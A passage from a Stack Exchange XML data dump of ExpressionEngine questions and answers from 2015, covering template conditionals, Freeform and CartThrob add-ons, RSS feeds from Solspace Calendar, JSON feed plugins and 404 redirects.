&amp;lt;/article&amp;gt; {if count == total_results} &amp;lt;a class=&quot;archive&quot; href=&quot;#&quot;&amp;gt;Announcement Archive&amp;lt;/a&amp;gt;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div id=&quot;announcement{count}&quot; class=&quot;reveal-modal announcement&quot;&amp;gt;&#xA;        &amp;lt;h5&amp;gt;{title}&amp;lt;/h5&amp;gt;&#xA;        &amp;lt;p class=&quot;lead&quot;&amp;gt;{announcement_text}&amp;lt;/p&amp;gt; &amp;lt;a class=&quot;close-reveal-modal&quot;&amp;gt;&amp;amp;#215;&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; {/if} {/exp:channel:entries} &amp;lt;/div&amp;gt; {/if}&#xA;    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/section&amp;gt;&#xA;  &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; {/exp:channel:entries} {/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="984" LastEditDate="2015-08-17T14:48:30.900" LastActivityDate="2015-08-18T21:17:14.583" Title="Expression Engine - PHP error, endif" Tags="|php-errors|super-admin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32696" PostTypeId="2" ParentId="32694" CreationDate="2015-08-17T12:07:03.280" Score="0" Body="&lt;p&gt;My friend-o, I would make use of this addon's extension hooks. You would want to create an extension that hooks to one of these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/extension_hooks.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;store_order_item_add_start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then parse and modify the quantity value of the &lt;code&gt;form_params&lt;/code&gt; variable array where the item quantity value most likely lives. Regular Expression out the commas, or even easier, string replace with an empty value!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.str-replace.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.str-replace.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-17T12:07:03.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32697" PostTypeId="2" ParentId="32672" CreationDate="2015-08-17T13:54:40.957" Score="0" Body="&lt;p&gt;Well at least your HTML seems to be rendering properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your issue could be a couple of things.&#xA;Getting the simplest thing out of the way first...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the &lt;em&gt;name&lt;/em&gt; attributes of your form elements match any of the field names of your new form? After working with EE and Freeform for two years now, even I sometimes forget to update these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that, the only other thing I can think of that may be causing the issue is the ACTION id that the form is posting to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your form, it uses an ACTION id of 29.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;form action=&quot;http://dev.projectu-turn.com/?ACT=29&quot; accept-charset=&quot;utf-8&quot; method=&quot;post&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look in your EE database at the ACTION IDs listed in the &lt;em&gt;exp_actions&lt;/em&gt; table. Reading along the table entry, the ID should correspond to the &lt;em&gt;save_form&lt;/em&gt; method present in the Freeform Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this entry is non-existent in the table, it means that the installation or update of Freeform has failed. Fix the installation issues and everything should be working again as usual.&lt;/p&gt;&#xA;" OwnerUserId="3407" LastActivityDate="2015-08-17T13:54:40.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32698" PostTypeId="2" ParentId="32683" CreationDate="2015-08-17T13:58:44.870" Score="1" Body="&lt;p&gt;I lead Development at &lt;a href=&quot;http://www.vectormediagroup.com&quot; rel=&quot;nofollow&quot;&gt;Vector Media Group&lt;/a&gt;, which owns CartThrob. I'm clearly biased in my belief that CartThrob is the better product. That said, I can answer your specific functionality questions as well:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cart must be easy to make PCI DSS compliant&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're certainly able to have PCI compliance using CartThrob. Many of our clients do, and CartThrob does what it can to help in this regard. Obviously a lot of the PCI compliance steps will fall onto your setup and server regardless of what commerce software you use though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Must have selectable product options and oddly, must be able to sell even if stock is zero (third party will fullfill the orders and we don't have their stock levels but they're on the ball so they tell us).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;CartThrob can do this. You can set the rules for when and how a product is allowed to be sold regardless of its inventory status. And if needed, you can use CartThrob's extension hooks to customize this even more.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And lastly do either of these two carts have import products facility/functionality. If not would it be simple to write my own using PHP or should I not mess with DB directly?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because CartThrob stores product information in regular ExpressionEngine channel fields, you can import product data the same way you'd import any other channel entries. If you don't want to mess with DB/PHP, there are two add-ons which can help: &lt;a href=&quot;https://solspace.com/software/expressionengine/importer/&quot; rel=&quot;nofollow&quot;&gt;Solspace Importer&lt;/a&gt; and &lt;a href=&quot;https://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know if you have any other questions!&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-08-17T13:58:44.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32699" PostTypeId="2" ParentId="32694" CreationDate="2015-08-17T14:42:59.430" Score="0" Body="&lt;p&gt;You should be able to use HTML5 form validators such as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;number&quot; name=&quot;item_qty&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-08-17T14:42:59.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32701" PostTypeId="2" ParentId="30567" CreationDate="2015-08-17T18:21:29.147" Score="1" Body="&lt;p&gt;I've got the identical error, and I've also upgraded to EE 2.10.1. But disabling the Zenbu MX Cloner Support Extension doesn't work for me. I've also tried disabling and re-enabling MX Cloner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the URL supposed to look like? It's as if MX Cloner isn't reading the Control Panel URL site setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Max Lazar, the author, guided me to &lt;a href=&quot;https://github.com/MaxLazar/mx_cloner&quot; rel=&quot;nofollow&quot;&gt;the Github repository for the plugin&lt;/a&gt;, where MX Cloner is up to 1.2.8 and resolves this issue when the extension is updated. &lt;/p&gt;&#xA;" OwnerUserId="330" LastEditorUserId="330" LastEditDate="2015-08-18T05:45:10.040" LastActivityDate="2015-08-18T05:45:10.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32703" PostTypeId="1" AcceptedAnswerId="32704" CreationDate="2015-08-18T07:59:02.293" Score="0" ViewCount="430" Body="&lt;p&gt;does anyone know why this code will not display correctly?&#xA;It looks right to me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{current_time format='%d.%m'}&quot; &amp;gt;= &quot;06.11&quot; &amp;amp;&amp;amp; &quot;{current_time format='%d.%m'}&quot; &amp;lt;= &quot;07.01&quot;}&#xA;6 Jan&#xA;&#xA;{if:elseif &quot;{current_time format='%d.%m'}&quot; &amp;gt;= &quot;06.01&quot; &amp;amp;&amp;amp; &quot;{current_time format='%d.%m'}&quot; &amp;lt;= &quot;21.02&quot;}&#xA;20 Feb&#xA;&#xA;{if:elseif &quot;{current_time format='%d.%m'}&quot; &amp;gt;= &quot;20.02&quot; &amp;amp;&amp;amp; &quot;{current_time format='%d.%m'}&quot; &amp;lt;= &quot;28.03&quot;}&#xA;27 Mar&#xA;&#xA;{if:elseif &quot;{current_time format='%d.%m'}&quot; &amp;gt;= &quot;27.03&quot; &amp;amp;&amp;amp; &quot;{current_time format='%d.%m'}&quot; &amp;lt;= &quot;16.05&quot;}&#xA;15 May&#xA;&#xA;{if:elseif &quot;{current_time format='%d.%m'}&quot; &amp;gt;= &quot;15.05&quot; &amp;amp;&amp;amp; &quot;{current_time format='%d.%m'}&quot; &amp;lt;= &quot;04.08&quot;}&#xA;3 Aug&#xA;&#xA;{if:elseif &quot;{current_time format='%d.%m'}&quot; &amp;gt;= &quot;03.08&quot; &amp;amp;&amp;amp; &quot;{current_time format='%d.%m'}&quot; &amp;lt;= &quot;12.09&quot;}&#xA;11 Sept&#xA;&#xA;{if:elseif &quot;{current_time format='%d.%m'}&quot; &amp;gt;= &quot;11.09&quot; &amp;amp;&amp;amp; &quot;{current_time format='%d.%m'}&quot; &amp;lt;= &quot;07.11&quot;}&#xA;6 Nov&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="249" LastActivityDate="2015-08-19T06:27:54.567" Title="Conditionals using current time format" Tags="|conditionals|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32704" PostTypeId="2" ParentId="32703" CreationDate="2015-08-18T08:13:25.457" Score="0" Body="&lt;p&gt;You are comparing numbers. {current_time format='%d.%m'} is outputted as 18.08. This number is bigger than 06.01 and smaller than 21.02. Therefor it is correct that the text 20 Feb is printed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use epoch dates to compare. It is a reliable solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The plugin &lt;a href=&quot;https://devot-ee.com/add-ons/str-to-time&quot; rel=&quot;nofollow&quot;&gt;Str To Time&lt;/a&gt; seems to have what you want. Use it to convert the date you want to compare to, to a timestamp. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time} &amp;gt;= {exp:str_to_time date=&quot;November 6th, {current_time format='%Y'}&quot;} &amp;amp;&amp;amp; &#xA;    {current_time} &amp;lt;= {exp:str_to_time date=&quot;January 7th, {current_time format='%Y'}&quot;}}&#xA;    6 Jan&#xA;{if:elseif {current_time} &amp;gt;= {exp:str_to_time date=&quot;August 3th, {current_time format='%Y'}&quot;} &amp;amp;&amp;amp; &#xA;    {current_time} &amp;lt;= {exp:str_to_time date=&quot;September 9th, {current_time format='%Y'}&quot;}}&#xA;11 Sept&#xA;{if:else}&#xA;No date available&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-08-19T06:27:54.567" LastActivityDate="2015-08-19T06:27:54.567" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32705" PostTypeId="1" CreationDate="2015-08-18T10:54:36.220" Score="0" ViewCount="83" Body="&lt;p&gt;I need to implement the custom search function that will search data from another database so where I write the code as we do in CI MVC ?&lt;/p&gt;&#xA;" OwnerUserId="6578" LastActivityDate="2016-06-05T03:48:35.700" Title="how to work with the MVC in EE as we do on the CI for custom functionality?" Tags="|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32707" PostTypeId="1" CreationDate="2015-08-18T12:01:14.657" Score="0" ViewCount="49" Body="&lt;p&gt;I have a custom member field that can have a value of &quot;1&quot;, &quot;2&quot; or &quot;3&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In channel entries I need to output the value of one of three custom fields, depending the member field value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie : {field_{member_field}}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to put together a plugin but I'm a bit stuck in parsing order issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="3097" LastActivityDate="2016-05-27T04:52:28.400" Title="retrieve the value of a custom field depending on the value of a custom member field" Tags="|parse-order|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32708" PostTypeId="1" CreationDate="2015-08-18T12:59:38.133" Score="0" ViewCount="102" Body="&lt;p&gt;Is it possible to create an RSS feed with Solspace Calendar.  The RSS sample in EE used channels entries.  Wondering if I can pull in events from a calendar into an rss feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feed needs to also show all repeating events.  I got it started but it only shows one event for a repeating event in my rss reader.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rss:feed channel=&quot;calendar_events&quot;}&#xA;&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:admin=&quot;http://webns.net/mvcb/&quot;&#xA;    xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&amp;gt;&#xA;&#xA;    &amp;lt;title&amp;gt;{exp:xml_encode}{channel_name}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{channel_url}&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;{channel_description}&amp;lt;/description&amp;gt;&#xA;    &amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;    &amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;    &amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;    &amp;lt;dc:date&amp;gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;admin:generatorAgent rdf:resource=&quot;http://ellislab.com/&quot; /&amp;gt;&#xA;&#xA;  {exp:calendar:cal calendar_id=&quot;22&quot; event_limit=&quot;24&quot; date_range_start=&quot;today&quot; show_months=&quot;6&quot; pad_short_weeks=&quot;n&quot; dynamic=&quot;off&quot;}&#xA;&amp;lt;item&amp;gt;&#xA;      &amp;lt;title&amp;gt;{exp:xml_encode}{event_title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;      &amp;lt;link&amp;gt;{path='events'}/{event_id}/&amp;lt;/link&amp;gt;&#xA;      &amp;lt;guid&amp;gt;{path='events'}/{event_id}/#When:{event_start_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;      &amp;lt;description&amp;gt;&amp;lt;![CDATA[{event_summary}]]&amp;gt;&amp;lt;/description&amp;gt; &#xA;      &amp;lt;dc:subject&amp;gt;{exp:xml_encode}{categories backspace=&quot;1&quot;}{category_name}, {/categories}{/exp:xml_encode}&amp;lt;/dc:subject&amp;gt;&#xA;      &amp;lt;dc:date&amp;gt;{event_start_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;{/exp:calendar:cal} &#xA;&#xA;&amp;lt;/rss&amp;gt;&#xA;&#xA;{/exp:rss:feed}     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code displays 3 out of 4 events (only one of the repeating events in Chrome RSS reader, it doesn't work at all in Firefox.  Only shows the feed title and no events. Firefox says the rss feed is empty)               &lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2015-08-18T14:04:07.927" LastActivityDate="2016-05-29T04:25:56.867" Title="Is it possible to create an RSS feed with Solspace Calendar" Tags="|solspace-calendar|calendar|rss|events|feed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32709" PostTypeId="1" CreationDate="2015-08-18T13:01:46.670" Score="0" ViewCount="47" Body="&lt;p&gt;I've been using &lt;a href=&quot;https://devot-ee.com/add-ons/rest&quot; rel=&quot;nofollow&quot;&gt;Phil Sturgeon's Rest&lt;/a&gt; to read in JSON data from a url but it looks like it's starting to fail, as it hasn't been updated for a while.&#xA;I just want to pull in a JSON feed and display the contents in a table with some re-formatting of the presentation of dates etc.&#xA;This is the template code I'm currently using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest url=&quot;https://www.britishorienteering.org.uk/fixturesjson.php?club=elo&quot; verb=&quot;get&quot; format=&quot;json&quot; limit=&quot;5&quot; parse=&quot;inward&quot; cache=&quot;yes&quot; refresh=&quot;180&quot;}&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;{exp:low_nice_date date=&quot;{date}&quot; format=&quot;%D %M %d%S&quot; localize=&quot;yes&quot;}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{link}&quot; target=&quot;_blank&quot; title=&quot;More info about {title} - opens in a new tab&quot;&amp;gt;{title} - {venue}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{nearest_town}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{level}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/exp:rest} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find anything on Devotee that does this, any ideas?         &lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2015-08-18T13:01:46.670" Title="Simple plugin to read json?" Tags="|plugin|json|feed|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32710" PostTypeId="1" CreationDate="2015-08-18T13:21:29.910" Score="0" ViewCount="277" Body="&lt;p&gt;The Magpie plugin for EE1 doesn't seem to like https addresses, it was working fine but now the site where the feed is located have switched to https for everything and now Magpie is not getting new data. I tried changing the url in the template code but it fails completely, leading me to believe that it can't handle the secure address.&#xA;Any options appreciated, I have 4 sites still on EE1 that can't afford to be updated to EE2.&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2017-04-24T12:39:41.667" Title="Magpie feed plugin for EE1 failing on https" Tags="|rss|magpie|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32711" PostTypeId="1" CreationDate="2015-08-18T14:13:17.507" Score="0" ViewCount="233" Body="&lt;p&gt;I have a masonry style setup for a portfolio page and would like to allow the client to chose multiple categories per portfolio entry. The issue I'm having is each entry is displaying multiple times in the 'Show All' section when more than one category is being selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the basic markup I have for the portfolio section—&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot;}&#xA;{categories}&#xA;    &amp;lt;div class=&quot;element clearfix col1-3 portfolio {category_name}&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{title_permalink='projects/index'}&quot; title=&quot;&quot;&amp;gt;&#xA;            &amp;lt;figure&amp;gt;&amp;lt;img src=&quot;{project_image:project_thumb}&quot;/&amp;gt;&amp;lt;/figure&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's an image of what's showing on the 'Show All' section. The two items at the bottom are in more than one category, but I'd only like one to show.—&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IILqf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IILqf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6511" LastActivityDate="2016-06-01T04:11:41.427" Title="How to show one entry from multiple categories?" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32712" PostTypeId="2" ParentId="32708" CreationDate="2015-08-18T14:51:03.233" Score="0" Body="&lt;pre&gt;&lt;code&gt;{exp:rss:feed channel=&quot;calendar_events&quot;}&#xA;&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:admin=&quot;http://webns.net/mvcb/&quot;&#xA;    xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&amp;gt;&#xA;&#xA;    &amp;lt;channel&amp;gt;&#xA;&#xA;    &amp;lt;title&amp;gt;{exp:xml_encode}CHP Events{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{channel_url}&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;CHP Events List&amp;lt;/description&amp;gt;&#xA;    &amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;    &amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;    &amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;    &amp;lt;dc:date&amp;gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;admin:generatorAgent rdf:resource=&quot;http://ellislab.com/&quot; /&amp;gt;&#xA;&#xA;  {exp:calendar:cal calendar_id=&quot;22&quot; event_limit=&quot;24&quot; date_range_start=&quot;today&quot; show_months=&quot;6&quot; pad_short_weeks=&quot;n&quot; dynamic=&quot;off&quot;}&#xA;&amp;lt;item&amp;gt;&#xA;      &amp;lt;title&amp;gt;{exp:xml_encode}{event_title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;      &amp;lt;link&amp;gt;{path='events'}/{event_id}/&amp;lt;/link&amp;gt;&#xA;      &amp;lt;guid&amp;gt;{path='events'}/{event_id}/#When:{event_start_date format=&quot;%Y-%m-%d %g:%i:%s&quot;}&amp;lt;/guid&amp;gt;&#xA;     &amp;lt;description&amp;gt;&amp;lt;![CDATA[{event_summary}]]&amp;gt;&amp;lt;/description&amp;gt; &#xA;      &amp;lt;dc:subject&amp;gt;&amp;lt;/dc:subject&amp;gt;&#xA;      &amp;lt;pubDate&amp;gt;{event_start_date format=&quot;%D, %d %M %Y %H:%i:%s&quot;}&amp;lt;/pubDate&amp;gt;&#xA;      &amp;lt;dc:date&amp;gt;{event_start_date format=&quot;%Y-%m-%d %g:%i:%s&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;{/exp:calendar:cal} &#xA;&#xA;&amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&#xA;{/exp:rss:feed}                     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2015-08-18T14:51:03.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32713" PostTypeId="2" ParentId="32667" CreationDate="2015-08-18T15:32:04.027" Score="0" Body="&lt;p&gt;It was user error as I feared. In order to make a new channel searchable I needed to change the channel=&quot;&quot; parameter on my simple search form to include the new channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {exp:search:simple_form channel=&quot;originalchannel|newlysearchablechannel&quot; form_class=&quot;search-form&quot; results=&quot;14&quot; result_page=&quot;/search/results&quot; no_result_page=&quot;/search/no_results&quot; search_in=&quot;entries&quot;}&#xA;                &amp;lt;label for=&quot;search&quot;&amp;gt;Search&amp;lt;/label&amp;gt;        &#xA;                &amp;lt;input type=&quot;search&quot; id=&quot;search&quot; name=&quot;keywords&quot; placeholder=&quot;SEARCH&quot; value=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;            {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to Mark for the steer that I needed to make more changes than I had.&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2015-08-18T15:32:04.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32714" PostTypeId="2" ParentId="30084" CreationDate="2015-08-18T16:31:29.763" Score="0" Body="&lt;p&gt;I know this is a really old post, but I do want to let you know that CartThrob has been acquired by us, Vector Media Group, and we're committed to supporting and improving it going forward. &lt;a href=&quot;https://www.vectormediagroup.com/blog/view/vector-acquired-cartthrob-ct-admin/&quot; rel=&quot;nofollow&quot;&gt;More information can be found here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're still looking for help, please feel free to let me know at matt@vectormediagroup.com or by submitting a request to the helpdesk: &lt;a href=&quot;https://www.cartthrob.com/support/index.php?pg=request&quot; rel=&quot;nofollow&quot;&gt;https://www.cartthrob.com/support/index.php?pg=request&lt;/a&gt;. I am confident you'll be happy with the recent progress and response times.&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-08-18T16:31:29.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32715" PostTypeId="2" ParentId="32597" CreationDate="2015-08-18T17:22:58.133" Score="0" Body="&lt;p&gt;The problem is resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fieldtype was using array data. But I rewrote it to save the data as a simple string. Makes things easier if you want it to work with some add-ons like Publisher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I forgot to remove &lt;code&gt;var $has_array_data = TRUE;&lt;/code&gt; from the class. Simply removing it, or setting it to &lt;code&gt;FALSE&lt;/code&gt; solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2015-08-18T17:22:58.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32717" PostTypeId="1" CreationDate="2015-08-18T17:45:49.657" Score="0" ViewCount="253" Body="&lt;pre&gt;&lt;code&gt;www.cooking/recipes/apple_pie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first Expression Engine segment (recipes) represent the recipes channel, and the second segment represent an entry (here apple_pie)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an entry doesn't exist or is misspelled, i use this code to redirect to the 404 page, and it works fine: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;recipes&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;          {exp:ifelse parse=&quot;inward&quot;}&#xA;                {if no_results}&#xA;                        {redirect=&quot;error/404&quot;}&#xA;                {/if}&#xA;           {/exp:ifelse}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I add a segment (dessert), always have redirect to the 404 page, even if the entry exist. Without the redirect code the entries pages like (www.cooking/recipes/dessert/apple_pie) works fine, but i lose the redirect function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.cooking/recipes/dessert/apple_pie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2017-09-04T11:13:12.563" Title="require_entry problems with more than 2 segment" Tags="|channel-entries|channel|entries|redirects|segments|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
